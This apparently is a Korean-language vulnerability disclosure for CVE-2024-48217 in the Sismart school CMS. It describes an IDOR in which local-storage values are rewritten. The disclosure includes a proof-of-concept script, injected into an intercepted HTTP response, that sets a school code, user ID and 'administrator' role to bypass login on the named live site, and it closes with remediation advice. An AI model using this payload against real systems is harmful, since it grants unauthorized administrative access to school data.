ajrielrm/cve-2024-48217CVE-2024-48217 Sismart 취약점
CVE 할당: CVE-2024-48217 mitre.org nvd.nist.org tenable.com
2024년 9월 5일
Ajriel Rizqy Maulana
7.4.0
IDOR - 세션 저장소 내부 IDOR은 안전하지 않은 직접 객체 참조(Insecure Direct Object Reference)의 약자로, 손상된 접근 제어(broken access control) 범주에 속하는 취약점입니다. 간단히 말해, 이 취약점은 애플리케이션이 사용자 입력을 사용하여 객체에 직접 접근할 때 발생합니다. 안전하지 않은 직접 객체 참조 취약점을 이용하면 수평적 권한 상승(horizontal privilege escalation)이 가능하며, 경우에 따라 수직적 권한 상승(vertical privilege escalation)으로 이어질 수도 있습니다.
https://cms.sismart.id/sekolah/
sekolah_kode매개변수 (Local Storage 내)user_id매개변수 (Local Storage 내)user_level매개변수 (Local Storage 내)
일반적인 IDOR과 달리, 세션 저장소를 사용하는 IDOR은 성격이 다릅니다. 때로는 영구적인 변경을 가하지 않지만 심각도는 동일합니다.
수정되지 않은 HTTP 응답:
HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"
<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script></body></html>
sekolah_kode를 원하는 학교 코드로 설정.user_id를 원하는 관리자 사용자 ID로 설정.user_level을 administrator로 설정.id_token을 undefined로 설정.<script>
localStorage.setItem('sekolah_kode', 'school_id');
localStorage.setItem('user_id', '0000');
localStorage.setItem('user_level', 'role (ex:administrator)');
localStorage.setItem('id_token', 'undefined');
window.location.href = '/sekolah';
</script>
수정된 HTTP 응답:
HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"
<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script>
<script>
localStorage.setItem('sekolah_kode', 'smkbnif');
localStorage.setItem('user_id', '3301');
localStorage.setItem('user_level', 'administrator');
localStorage.setItem('id_token', 'undefined');
window.location.href = '/sekolah';
</script>
</body></html>
참조된 모든 객체의 검증을 보장하는 접근 검사가 수행되어야 합니다. 또한 인증 및 권한 부여 검사가 구현되어야 합니다. 나아가 ID는 추측을 방지하기 위해 영숫자 형식으로 변환되어야 합니다(예: uid 사용).